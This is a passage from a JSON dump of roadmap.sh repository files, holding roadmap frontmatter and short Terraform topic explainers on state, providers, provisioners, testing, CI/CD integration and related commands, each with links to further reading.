\"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mrqBxsNRl1CQEKtuYSy9F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KEP_DmmmIbG5zdC0dj6a_\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mrqBxsNRl1CQEKtuYSy9Fx2-KEP_DmmmIbG5zdC0dj6a_w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/technical-writer/technical-writer.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/technical-writer.pdf'\norder: 17\nrenderer: 'editor'\nbriefTitle: 'Technical Writer'\nbriefDescription: 'Roadmap for anyone looking for a career in technical writing'\ntitle: 'Technical Writer'\ndescription: 'Roadmap for anyone looking for a career in technical writing'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 1958.71\nschema:\n  headline: 'Technical Writer Roadmap'\n  description: 'Learn what technical writing is, what technical writers do and how to become one using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/technical-writer.png'\n  datePublished: '2023-11-07'\n  dateModified: '2023-11-07'\nseo:\n  title: 'Technical Writer Roadmap'\n  description: 'Learn what technical writing is, what technical writers do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'technical writer roadmap 2024'\n    - 'technical writer roadmap 2025'\n    - 'guide to becoming a technical writer'\n    - 'technical writer roadmap'\n    - 'technical writer'\n    - 'technical writing skills'\n    - 'technical writing skills 2025'\n    - 'technical writing'\n    - 'technical documentation roadmap'\n    - 'technical documentation'\n    - 'technical writing test'\n    - 'become a technical writer'\n    - 'technical writer career path'\n    - 'skills for technical writing'\n    - 'learn technical writing'\n    - 'what is technical writing'\n    - 'technical writer quiz'\n    - 'technical writer interview questions'\nrelatedRoadmaps:\n  - 'devrel'\n  - 'engineering-manager'\n  - 'git-github'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/-replace-option-in-apply@jvHtSRLuCXJrGIiesgbE-.md",
    "content": "# -replace option in apply\n\nThe `-replace` flag in Terraform is used with the apply or plan command to force the replacement of a specific resource by tainting the resources. This flag instructs Terraform to delete and recreate the specified resource instead of updating it in place. It's useful when you need to regenerate a resource completely, such as when certain attributes can't be modified after creation. The flag is typically used when Terraform can't automatically detect that a resource needs replacement, or when you want to force a replacement for testing or troubleshooting purposes. While powerful, this flag should be used cautiously, especially with stateful resources, as it can lead to data loss. It's often employed in scenarios where in-place updates are not sufficient to achieve the desired configuration state of a resource.\n\nLearn more from the following resources:\n\n- [@official@Forcing Re-creation of Resources](https://developer.hashicorp.com/terraform/cli/state/taint)\n- [@article@Terraform Taint, Untaint, Replace – How to Use It (Examples)](https://spacelift.io/blog/terraform-taint)\n- [@video@Terraform Taint Is Bad Actually - Use Replace Instead](https://www.youtube.com/watch?v=v_T1fuYGjV0)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/authentication@RPcsyhIG027uP7KF0hwaY.md",
    "content": "# Authentication\n\nHCP (HashiCorp Cloud Platform) authentication provides secure access management for its services, including Terraform Cloud. It utilizes a comprehensive identity and access management system that supports multiple authentication methods. These include username/password combinations, single sign-on (SSO) integration with popular identity providers, and API tokens for programmatic access. HCP supports SAML 2.0 for enterprise-grade SSO, allowing seamless integration with existing identity management systems. For machine-to-machine communication, HCP offers service principal authentication, enabling secure, automated interactions with HCP services. The platform also provides fine-grained role-based access control (RBAC), allowing administrators to define and manage user permissions across different resources and operations.\n\nLearn more from the following resources:\n\n- [@official@HCP Authentication](https://developer.hashicorp.com/hcp/docs/cli/commands/auth/login)\n- [@official@Authenticate with HCP](https://registry.terraform.io/providers/hashicorp/hcp/latest/docs/guides/auth)\n- [@opensource@hashicorp/hcp-auth-login](https://github.com/hashicorp/hcp-auth-action)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/basic-syntax@LaD0H7XhoEEaXbcwjxAbw.md",
    "content": "# Basic Syntax\n\nThe Basic Syntax of HashiCorp Configuration Language (HCL) includes defining blocks, attributes, and expressions. Blocks are fundamental units like `resource`, `module`, and `provider`, identified by keywords and enclosed in curly braces. Attributes are key-value pairs within blocks, where keys are strings and values can be strings, numbers, or other data types. Expressions allow embedding variables, functions, and references to other resources, enabling dynamic configurations.\n\nLearn more from the following resources:\n\n- [@opensource@HCL Native Syntax Specification](https://github.com/hashicorp/hcl/blob/main/hclsyntax/spec.md)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/best-practices-for-state@jas0XILqCUXjWRk3ZoSEO.md",
    "content": "# Best Practices for State\n\nTerraform state best practices focus on security, consistency, and collaboration. \n\n- Store state files remotely in encrypted, version-controlled backends like S3 or Terraform Cloud to enable team access and enhance security.\n- Implement state locking to prevent concurrent modifications. Use workspaces or separate state files for different environments.\n- Regularly back up state files and enable versioning for rollback capabilities.\n- Avoid storing sensitive data directly in state; instead, use secret management tools.\n- Keep state files separate from your Terraform configuration in version control. \n- Utilize state subcommands for maintenance and troubleshooting. Implement access controls to restrict state file access.\n- Regularly review and clean up unused resources in the state. \n\nThese practices help maintain a secure, efficient, and manageable Terraform workflow, especially in team environments and complex infrastructures.\n\nLearn more from the following resources:\n\n- [@article@Managing Terraform State – Best Practices & Examples](https://spacelift.io/blog/terraform-state)\n- [@article@Best Practices for Terraform State File Management](https://www.cloudthat.com/resources/blog/best-practices-for-terraform-state-file-management)\n- [@video@Managing Terraform State Files - What are your options?](https://www.youtube.com/watch?v=keiIyarEKf8)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/best-practices@q1I5X_UBGH9LyF7UKHl_u.md",
    "content": "# Best Practices"
  },
  {
    "path": "src/data/roadmaps/terraform/content/cac-vs-iac@UsINvx84pBF1hp8XoLF4c.md",
    "content": "# CaC vs IaC\n\nCaC (Configuration as Code) and IaC (Infrastructure as Code) are both ways to manage infrastructure resources, but they focus on different things. CaC deals with setting up and managing the software and settings within your servers, like user settings and app configs. Examples of CaC tools include Ansible and Puppet. IaC, on the other hand, is about managing the underlying infrastructure, like virtual machines, networks, and storage. Examples of IaC tools include Terraform and AWS CloudFormation. So, while IaC sets up the environment, CaC ensures the software within that environment runs correctly.\n\nLearn more from the following resources:\n\n- [@video@Ansible vs. Terraform: What's the difference?](https://www.youtube.com/watch?v=rx4Uh3jv1cA)\n- [@article@IaC vs CaC](https://medium.com/@cloudhacks_/infrastructure-as-code-iac-vs-configuration-as-code-cac-unraveling-the-differences-24fbce05ae25)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/checkov@ljj7ngl1N4ezCXQ0o6Y8x.md",
    "content": "# Checkov\n\nCheckov is an open-source static code analysis tool designed for scanning Infrastructure as Code (IaC) files, including Terraform configurations, for security and compliance issues. It provides a comprehensive set of out-of-the-box policies covering various cloud providers and security best practices. Checkov can identify misconfigurations, security risks, and compliance violations in Terraform code before deployment, helping to shift security left in the development process. The tool supports custom policies written in Python, allowing organizations to enforce specific requirements. Checkov integrates easily into CI/CD pipelines and offers multiple output formats for better reporting and integration with other tools. Its ability to scan for a wide range of issues, from insecure defaults to compliance with standards like CIS Benchmarks, makes it a powerful asset for maintaining secure and compliant infrastructure deployments.\n\nLearn more from the following resources:\n\n- [@official@Checkov](https://www.checkov.io/)\n- [@opensource@bridgecrewio/checkov](https://github.com/bridgecrewio/checkov)\n- [@article@Scanning Terraform Code with Checkov](https://devopscube.com/terraform-checkov-scan/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/ci--cd-integration@O194eWh529jj4VDhKxNSj.md",
    "content": "# CI / CD Integration\n\nCI/CD integration with Terraform involves incorporating infrastructure-as-code practices into continuous integration and continuous deployment pipelines. This integration automates the process of planning, validating, and applying Terraform configurations as part of software delivery workflows.\n\nIn a typical setup, CI/CD pipelines run Terraform commands to check syntax, generate plans, and apply changes to infrastructure. This approach ensures that infrastructure changes are versioned, tested, and deployed consistently alongside application code. Key aspects include automated testing of Terraform configurations, secure handling of sensitive data like access keys, and implementing approval processes for infrastructure changes."
  },
  {
    "path": "src/data/roadmaps/terraform/content/circle-ci@6OoAdvikyp0byMH2oZhyQ.md",
    "content": "# Circle CI\n\nIntegrating Terraform with CircleCI enables automated infrastructure management within CircleCI's continuous integration and deployment pipelines. This setup allows for consistent and repeatable infrastructure deployments alongside application code changes. In a typical CircleCI configuration, jobs are defined to run Terraform commands like init, plan, and apply. The workflow can include steps for checking out code, setting up Terraform, and managing state files. CircleCI's environment variables and contexts can be used to securely store and access sensitive data like cloud provider credentials. CircleCI's parallelism features can be leveraged for faster execution of Terraform in complex setups.\n\nLearn more from the following resources:\n\n- [@official@Deploy Infrastructure with Terraform and CircleCI](https://developer.hashicorp.com/terraform/tutorials/automation/circle-ci)\n- [@opensource@CircleCI Terraform Orb](https://circleci.com/developer/orbs/orb/circleci/terraform)\n- [@article@How I deployed terraform resources with CircleCI](https://medium.com/nerd-for-tech/how-i-deployed-terraform-resources-with-circleci-628aa29ed514)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/clean-up@inbTto9Qukdj6egRJ0Zh9.md",
    "content": "# Clean Up\n\nCleaning up after using Terraform involves removing the infrastructure resources created and managing the associated state. The primary command for this is `terraform destroy`, which deletes all resources managed by the current Terraform configuration. It shows a destruction plan and requires confirmation before proceeding. After destruction, you should remove or archive the state files if they're no longer needed. For partial cleanup, you can remove specific resources from the state using `terraform state rm` and then run `terraform apply` to delete them. It's crucial to ensure all resources are properly removed to avoid unnecessary costs and security risks. Always review the destruction plan carefully, especially in shared or production environments, to prevent accidental deletion of critical resources.\n\nLearn more from the following resources:\n\n- [@article@How to Destroy Terraform Resources](https://spacelift.io/blog/how-to-destroy-terraform-resources)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/compliance--sentinel@z0PcbgpHbR6Fm07-On4P8.md",
    "content": "# Compliance / Sentinel\n\nHashicorp Sentinel is a policy-as-code framework integrated with HashiCorp's enterprise products, including Terraform Cloud and Terraform Enterprise. It allows organizations to define and enforce standardized, fine-grained policies across their infrastructure deployments. Sentinel policies can be written to check for security compliance, cost management, or operational best practices before Terraform applies any changes. These policies use a domain-specific language to define rules that evaluate Terraform plans and state, enabling teams to catch potential issues early in the development process. Sentinel can enforce mandatory policies that prevent non-compliant infrastructure changes from being applied, or advisory policies that warn but don't block deployments.\n\nLearn more from the following resources:\n\n- [@official@Terraform and Sentinel](https://developer.hashicorp.com/sentinel/docs/terraform)\n- [@article@Enforce policy-as-code](https://www.terraform.io/use-cases/enforce-policy-as-code)\n- [@opensource@hashicorp/terraform-sentinel-policies](https://github.com/hashicorp/terraform-sentinel-policies)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/configuring-providers@JJ-QhLWqT0luis_kVDVHW.md",
    "content": "# Configuring Providers\n\nConfiguring providers in Terraform involves specifying the required provider in the `provider` block within your Terraform configuration files. This block includes settings such as authentication credentials, region, and other provider-specific parameters. Providers must be initialized using `terraform init` to download and install the necessary plugins. Multiple configurations can be managed by aliasing providers, enabling resource management across different environments or accounts within the same provider.\n\nLearn more from the following resources:\n\n- [@official@Providers Overview](https://developer.hashicorp.com/terraform/language/providers#providers)\n- [@article@How To Use Terraform Providers](https://www.env0.com/blog/how-to-use-terraform-providers)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/contract-testing@bjozhkpOI9UjjNfmT5HhY.md",
    "content": "# Contract Testing\n\nTerraform contract testing focuses on verifying the interfaces and interactions between different modules or components of your infrastructure code. This approach ensures that modules work correctly together and adhere to expected input/output contracts. Contract tests typically validate that a module accepts the correct input variables, produces the expected outputs, and creates resources with the right attributes. They often involve setting up test fixtures with mock data or minimal real infrastructure. The goal is to catch integration issues early, such as mismatched variable types or unexpected resource configurations. Contract testing helps maintain consistency across module versions and ensures that changes to one module don't break dependent modules. This type of testing is particularly valuable in large, modular Terraform projects where multiple teams may be working on different components of the infrastructure.\n\nLearn more from the following resources:\n\n- [@official@Terraform Contract Tests](https://www.hashicorp.com/blog/testing-hashicorp-terraform#contract-tests)\n- [@article@Contract Testing: An Introduction and Guide](https://www.blazemeter.com/blog/contract-testing#:~:text=Contract%20testing%20focuses%20on%20verifying,services%20that%20rely%20on%20it.)\n- [@video@Contract testing for microservices is a must!](https://www.youtube.com/watch?v=Fh8CqZtghQw)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/count@kyScfijEntX9H1mp7tmej.md",
    "content": "# count\n\nThe count meta-argument in Terraform allows you to specify the number of instances of a particular resource to create. By setting count to a numeric value, Terraform dynamically generates multiple instances of the resource, indexed from 0 to count-1. This is useful for managing infrastructure that requires multiple identical or similar resources, such as creating multiple virtual machines or storage buckets. Using count, you can conditionally create resources by setting the value based on variables or expressions, making your configurations more flexible and reducing redundancy. Each instance of the resource can be uniquely referenced using the count.index value, enabling more granular control and customization of each resource instance.\n\nNote: You cannot delare count and for_each on the same resource.\n\nLearn more from the following resources:\n\n- [@official@Terraform Docs - count](https://developer.hashicorp.com/terraform/language/meta-arguments/count)\n- [@article@Terraform by Example - count](https://www.terraformbyexample.com/count)\n- [@video@Conditional blocks in Terraform using count](https://www.youtube.com/watch?v=RVoIqWkN_gI)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/creating-local-modules@wQN1QrK9VB_fHlXrBzDoU.md",
    "content": "# Creating Local Modules\n\nCreating local modules in Terraform involves organizing a set of related resources into a reusable package within your project. To create a local module, you typically create a new directory within your project structure and place Terraform configuration files (`.tf`) inside it. These files define the resources, variables, and outputs for the module. The module can then be called from your root configuration using a module block, specifying the local path to the module directory. Local modules are useful for encapsulating and reusing common infrastructure patterns within a project, improving code organization and maintainability. They can accept input variables for customization and provide outputs for use in the calling configuration. Local modules are particularly beneficial for breaking down complex infrastructures into manageable, logical components and for standardizing resource configurations across a project.\n\nLearn more from the following resources:\n\n- [@official@Build and use a local module](https://developer.hashicorp.com/terraform/tutorials/modules/module-create)\n- [@article@How to create reusable infrastructure with Terraform modules](https://blog.gruntwork.io/how-to-create-reusable-infrastructure-with-terraform-modules-25526d65f73d)\n- [@video@Creating a module in Terraform](https://www.youtube.com/watch?v=OeL2AlsdNaQ)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/creation--destroy-time@CJfCpRN_oVf6n_EfLNJSV.md",
    "content": "# Creation / Destroy Time\n\nCreation and destroy-time provisioners in Terraform are used to execute actions at specific points in a resource's lifecycle. Creation-time provisioners run after a resource is created, while destroy-time provisioners run before a resource is destroyed. Creation-time provisioners are useful for tasks like initializing a newly created server, installing software, or configuring applications. Destroy-time provisioners are typically used for cleanup tasks, such as deregistering a server from a load balancer before deletion. Both types can be specified within a resource block. \n\nCreation-time provisioners that fail will cause the resource creation to fail, potentially leaving resources in an incomplete state. Destroy-time provisioners that fail don't prevent resource destruction but may leave external resources in an inconsistent state. Due to their potential impact on Terraform's ability to manage state consistently, both types should be used cautiously and designed to be idempotent and fault-tolerant.\n\nLearn more from the following resources:\n\n- [@official@Creation Time Provisioners](https://developer.hashicorp.com/terraform/language/resources/provisioners/syntax#creation-time-provisioners)\n- [@official@Destroy Time Provisioners](https://developer.hashicorp.com/terraform/language/resources/provisioners/syntax#destroy-time-provisioners)\n- [@official@How to: Terraform destroy time provisioners](https://support.hashicorp.com/hc/en-us/articles/11119084989587-How-to-Terraform-Destroy-time-Provisioners)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/custom-provisioners@HEr-BBxE3jRKTqRnguds1.md",
    "content": "# Custom Provisioners\n\nTerraform custom provisioners allow developers to extend Terraform's provisioning capabilities beyond the built-in options. These are created using Go programming language and the Terraform plugin SDK. Custom provisioners can perform specialized tasks tailored to specific infrastructure needs or organizational requirements. They follow the same lifecycle as built-in provisioners, executing during resource creation or destruction.\n\nDeveloping custom provisioners requires a deep understanding of Terraform's architecture and Go programming. They're useful for integrating Terraform with proprietary systems or implementing complex, organization-specific provisioning logic. However, custom provisioners should be approached cautiously, as they increase maintenance overhead and can complicate Terraform upgrades. In many cases, it's preferable to use existing provisioners or separate configuration management tools unless there's a compelling need for custom functionality.\n\nLearn more from the following resources:\n\n- [@official@Terraform Provisioners](https://developer.hashicorp.com/terraform/language/resources/provisioners/syntax)\n- [@article@Terraform Provisioners - Why you should avoid them](https://spacelift.io/blog/terraform-provisioners)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/data-sources@huXZz55P7kVJwTn5BS_Wk.md",
    "content": "# Data Sources\n\nTerraform data sources allow retrieval of information from external systems or existing resources for use within Terraform configurations. They provide a way to query and fetch data that can be used in resource definitions, making configurations more dynamic and adaptable. Data sources don't create or manage resources; instead, they read existing data. Common uses include fetching AMI IDs, looking up IP ranges, or retrieving information about existing infrastructure components. Data sources are defined using data blocks in Terraform configuration files and can accept arguments to filter or specify the data being requested. They enable Terraform to integrate with existing infrastructure or external systems, facilitating more flexible and context-aware resource management.\n\nLearn more from the following resources:\n\n- [@official@Terraform data sources](https://developer.hashicorp.com/terraform/language/data-sources)\n- [@article@Terraform Data Sources – How They Are Utilized](https://spacelift.io/blog/terraform-data-sources-how-they-are-utilised)\n- [@video@Data Sources in Terraform](https://www.youtube.com/watch?v=Y92Q5nW5-5g)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/depends_on@EIsex6gNHDRYHn0o2spzi.md",
    "content": "# depends_on\n\nThe depends_on meta-argument in Terraform is used to explicitly declare dependencies between resources, ensuring that one or more resources are created or destroyed only after the specified dependent resources have been successfully applied. This is crucial for managing resource dependencies that are not automatically detected by Terraform’s implicit dependency analysis. By using depends_on, you can enforce the correct order of resource creation, modification, or destruction, which is particularly useful in complex infrastructure setups where certain resources must exist or be configured before others can be effectively managed. This meta-argument enhances the reliability and predictability of your Terraform configurations\n\nLearn more from the following resources:\n\n- [@official@Terraform Docs - depends_on](https://developer.hashicorp.com/terraform/language/meta-arguments/depends_on)\n- [@article@How to Use Terraform depends_on](https://spacelift.io/blog/terraform-depends-on)\n- [@video@How to use Terraform depends_on meta tag?](https://www.youtube.com/watch?v=v0Qt-ltvmXU)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/deployment-workflow@wL3WWhjPEgFmumOmCPRDf.md",
    "content": "# Deployment Workflow\n\nA Terraform deployment workflow for scaling typically involves several key stages optimized for managing large infrastructures. It starts with code development in feature branches, followed by automated testing including syntax checks, linting, and unit tests. Pull requests trigger plan generations for review. After approval, changes merge to a main branch, initiating a CI/CD pipeline. This pipeline runs more comprehensive tests, including integration and possibly end-to-end tests. For large infrastructures, the workflow often includes staged deployments, starting with lower environments and progressively moving to production. It may involve partial applies or use of workspaces to manage different environments. The process incorporates manual approval gates for critical changes. State management becomes crucial, often utilizing remote backends with locking. Monitoring and logging are integrated to track deployment progress and catch issues early.\n\nLearn more from the following resources:\n\n- [@official@The Core Terraform Workflow](https://developer.hashicorp.com/terraform/intro/core-workflow)\n- [@video@Terraform Basics: Core Workflow](https://www.youtube.com/watch?v=sqLD39xqcx0)\n- [@video@Advanced Concepts and Faster Workflows in the Terraform Language](https://www.youtube.com/watch?v=J8J7ixBNF-M)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/deployment@pjmOK1MEMnIV_zAlaOF01.md",
    "content": "# Deployment\n\nDeploying Terraform-defined infrastructure involves several key steps: \n\n- Initialize the working directory with `terraform init` \n- Review changes with `terraform plan` \n- Apply the configuration using `terraform apply`.\n\nYou can learn more from the following resources:\n\n- [@official@The Core Terraform Workflow](https://developer.hashicorp.com/terraform/intro/core-workflow)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/end-to-end-testing@QqwlAtz7VfrMtNEGpT5Sa.md",
    "content": "# End to End Testing\n\nTerraform end-to-end testing involves validating the entire infrastructure deployment process from start to finish, simulating real-world usage scenarios. These tests apply complete Terraform configurations to create full environments, verify the functionality and interactions of all components, and then destroy the infrastructure. End-to-end tests often include checking network connectivity, application deployments, and overall system performance. They may involve multiple Terraform modules and external systems, testing the infrastructure as a cohesive unit. While resource-intensive and time-consuming, these tests provide the highest level of confidence in the infrastructure's correctness and reliability. They're particularly valuable for detecting issues that arise from complex interactions between different parts of the infrastructure. End-to-end tests are typically run less frequently than other types of tests, often as part of release processes or major change validations.\n\nLearn more from the following resources:\n\n- [@article@Getting Started: End to End Tests](https://tf2project.io/docs/getting-started/end-to-end-tests.html)\n- [@article@End-to-end tests](https://www.hashicorp.com/blog/testing-hashicorp-terraform#end-to-end-tests)\n- [@video@End To End Testing On Terraform With Terratest](https://www.youtube.com/watch?v=PlzL6Bv2fSA)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/enterprise-features@elW7IMBSF0ydmlb7rtI1o.md",
    "content": "# Enterprise Features\n\nHashiCorp Cloud Platform (HCP) offers several enterprise-grade features designed to enhance large-scale infrastructure management:\n\n1. Centralized workflow management for Terraform operations\n2. Advanced role-based access control (RBAC) for fine-grained permissions\n3. Policy as Code with Sentinel for governance and compliance\n4. Private network connectivity for secure access to cloud resources\n5. Audit logging for comprehensive tracking of all platform activities\n6. Integrated secrets management with Vault\n7. Service networking capabilities through Consul\n8. Multi-cloud and hybrid cloud support\n9. Scalable remote state management\n10. Cost estimation and optimization tools\n11. Customizable policy libraries for security and compliance\n12. Single sign-on (SSO) and identity federation\n13. API-driven automation for infrastructure provisioning\n14. Collaborative features for team-based infrastructure development\n15. Continuous compliance monitoring and reporting\n\nThese features collectively provide a robust, secure, and scalable environment for enterprise-level infrastructure management and DevOps practices.\n\nLearn more from the following resources:\n\n- [@official@HashiCorp Cloud Platform](https://www.hashicorp.com/cloud)\n- [@official@HCP Terraform Plans and Features](https://developer.hashicorp.com/terraform/cloud-docs/overview)\n- [@video@How does The Infrastructure Cloud work?](https://www.youtube.com/watch?v=zWWGsJrWj5E)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/environment-variables@fm8oUyNvfdGWTgLsYANUr.md",
    "content": "# Environment Variables\n\nEnvironment variables can be used to customize various aspects of Terraform. You can set these variables to change the default behaviour of terraform such as increase verbosity, update log file path, set workspace, etc. Environment variables are optional and terraform does not need them by default. \n\nLearn more from the following resources:\n\n- [@official@Environment Variables](https://developer.hashicorp.com/terraform/cli/config/environment-variables)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/file-provisioner@Qch8k6e4pS8OlmG_sI0hH.md",
    "content": "# file provisioner\n\nThe Terraform file provisioner is used to copy files or directories from the machine running Terraform to a newly created resource. It's useful for tasks like uploading configuration files, scripts, or other necessary data to remote systems. The file provisioner can copy a single file or recursively copy directories. It supports both source and content arguments, allowing for either file-based or inline content transfers. This provisioner is often used in conjunction with remote-exec provisioners to execute uploaded scripts. While convenient for simple file transfers, it's important to consider security implications, especially when dealing with sensitive data. For more complex or large-scale file management tasks, dedicated configuration management tools are often preferred. The file provisioner is best used for small, straightforward file transfers needed to bootstrap or configure newly created resources.\n\nLearn more from the following resources:\n\n- [@official@Terraform File Provisioner](https://developer.hashicorp.com/terraform/language/resources/provisioners/file)\n- [@article@The File Provisioner](https://learning-ocean.com/tutorials/terraform/terraform-file-provisioner/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/for_each@gcdg_GhAacIWzv19ITTE_.md",
    "content": "# for_each\n\nThe for_each meta-argument in Terraform enables you to create multiple instances of a resource based on a set or map. Unlike count, which uses a simple integer, for_each allows for more granular and dynamic resource creation, as each instance is associated with a specific key-value pair from the given set or map. This meta-argument is particularly useful for creating resources with unique configurations derived from the keys and values of the set or map. By leveraging for_each, you can manage collections of resources more efficiently, ensuring each instance can be individually referenced and customized based on its specific key.\n\nNote: You cannot declare `for_each` and `count` in the same resource.\n\nLearn more from the following resources:\n\n- [@official@Terraform Docs - for_each](https://developer.hashicorp.com/terraform/language/meta-arguments/for_each)\n- [@article@Terraform by Example - for_each](https://www.terraformbyexample.com/for_each)\n- [@video@Terraform for loops](https://www.youtube.com/watch?v=4qO7WK6D3cA)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/format--validate@Xes24SqkwSaO844kLbClj.md",
    "content": "# Format & Validate\n\nTerraform `format` and `validate` are two essential commands for maintaining clean and correct Terraform configurations:\n\n- `terraform fmt` automatically formats Terraform configuration files to a consistent style. It adjusts indentation, aligns arguments, and sorts blocks and arguments. This command helps maintain code readability and consistency across team projects.\n\n- `terraform validate` checks the syntax and internal consistency of Terraform configurations. It verifies that the configuration is syntactically valid, references are correct, and attribute names and types are appropriate. This command catches errors early in the development process, before attempting to apply changes to infrastructure.\n\nYou can learn more about these using the following resources\n\n- [@article@Validate, format, lint, secure, and test Terraform IaC](https://tech.aabouzaid.com/2020/04/validate-format-lint-and-test-terraform-iac-ci.html)\n- [@official@Terraform Validate - Documentation](https://developer.hashicorp.com/terraform/cli/commands/validate)\n- [@official@Terraform Format - Documentation](https://developer.hashicorp.com/terraform/cli/commands/fmt)\n- [@article@Terraform Validate Command – Validate Configuration Locally](https://spacelift.io/blog/terraform-validate)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/github-actions@weIlGqGN15U8BH1yE9moA.md",
    "content": "# GitHub Actions\n\nUsing Terraform with GitHub Actions allows for automated infrastructure management as part of a GitHub-based CI/CD pipeline. This integration enables automatic planning, validation, and application of Terraform configurations when changes are pushed to a repository. Typical workflow steps include checking out code, setting up Terraform, initializing the working directory, and running Terraform commands like plan and apply. GitHub Actions can be configured to run Terraform in different environments, manage state files, and handle secrets securely. It's important to configure appropriate permissions and use GitHub Secrets for sensitive data.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions](https://docs.github.com/en/actions)\n- [@official@Automate Terraform with GitHub Actions](https://developer.hashicorp.com/terraform/tutorials/automation/github-actions)\n- [@article@Terraform with GitHub Actions : How to Manage & Scale](https://spacelift.io/blog/github-actions-terraform)\n- [@opensource@setup-terraform](https://github.com/hashicorp/setup-terraform)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/gitlab-ci@fH27mGrdnkDQCrGGDFU6p.md",
    "content": "# GitLab CI\n\nUsing Terraform with GitLab CI enables automated infrastructure management within GitLab's CI/CD pipeline. A typical GitLab CI pipeline for Terraform includes stages for validation, planning, and applying changes. The pipeline can be configured to run Terraform commands automatically on code pushes or merge requests. GitLab CI variables are used to store sensitive information like cloud credentials securely. GitLab's native features like environments and approvals can be leveraged to manage different deployment stages and control when changes are applied.\n\nLearn more from the following resources:\n\n- [@official@Infrastructure as Code with Terraform and GitLab](https://docs.gitlab.com/ee/user/infrastructure/iac/)\n- [@article@How to Implement GitLab CI/CD Pipeline with Terraform](https://spacelift.io/blog/gitlab-terraform)\n- [@video@Automate deploying to AWS using Terraform with GitLab CICD pipeline](https://www.youtube.com/watch?v=oqOzM_WBqZc)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/graph@vAFFgKSthyj_3Lxt-Z6pg.md",
    "content": "# graph\n\nThe terraform graph command generates a visual representation of either a configuration or execution plan. It creates a graph of resources and their dependencies in DOT format, which can be converted into an image using tools like Graphviz. This visual aid helps developers understand complex resource relationships, identify potential issues in resource ordering, and visualize the overall structure of their infrastructure. The graph can show different aspects of the Terraform configuration, including resource dependencies, data flow, and module relationships. While primarily used for debugging and documentation purposes, the graph command is also valuable for presenting infrastructure designs to stakeholders or for educational purposes. It's particularly useful in large, complex projects where understanding resource interdependencies can be challenging.\n\nLearn more from the following resources:\n\n- [@official@graph command](https://developer.hashicorp.com/terraform/cli/commands/graph)\n- [@article@How to Generate Images with Terraform Graph Command](https://spacelift.io/blog/terraform-graph)\n- [@video@Terraform — Resource Graph](https://www.youtube.com/watch?v=YbnBstMyVEI)\n- [@opensource@Graphviz](https://gitlab.com/graphviz/graphviz)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/hashicorp-config-language-hcl@qhO7CY-1_vuh2BVJYQCzh.md",
    "content": "# HashiCorp Configuration Language (HCL)\n\nHashiCorp Configuration Language (HCL) is a configuration language built by HashiCorp that is used for configuring products in the HashiCorp ecosystem. With its human-readable style, HCL is designed to strike a balance between a generic configuration language like JSON or YAML and a high-level scripting language. In relation to the Terraform Roadmap, HCL is the primary language used for writing Terraform configuration files, thus making it a fundamental part of defining and providing data center infrastructure in a descriptive manner.\n\nLearn more from the following resources:\n\n- [@official@Terraform Language Documentation](https://developer.hashicorp.com/terraform/language)\n- [@opensource@HCL Repository](https://github.com/hashicorp/hcl)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/hcp@erxow5xNRj01WepdFOhVf.md",
    "content": "# HCP\n\nHCP (HashiCorp Cloud Platform) is a fully managed platform that provides HashiCorp products as a service, including Terraform. It offers a centralized way to provision, secure, connect, and run any infrastructure for any application. HCP integrates seamlessly with Terraform, providing enhanced capabilities for managing infrastructure at scale. Key features include automated workflows, centralized state management, and secure remote operations. It offers built-in collaboration tools, making it easier for teams to work together on infrastructure projects. HCP provides governance and policy enforcement capabilities, allowing organizations to maintain compliance and security standards across their infrastructure. With its integration of other HashiCorp tools like Vault for secrets management and Consul for service networking, HCP creates a comprehensive ecosystem for cloud infrastructure management. This platform is particularly beneficial for organizations looking to streamline their infrastructure operations, enhance security, and maintain consistency across multi-cloud environments."
  },
  {
    "path": "src/data/roadmaps/terraform/content/import-existing-resources@L7wAMGi_yU-Bbc9fXlmxZ.md",
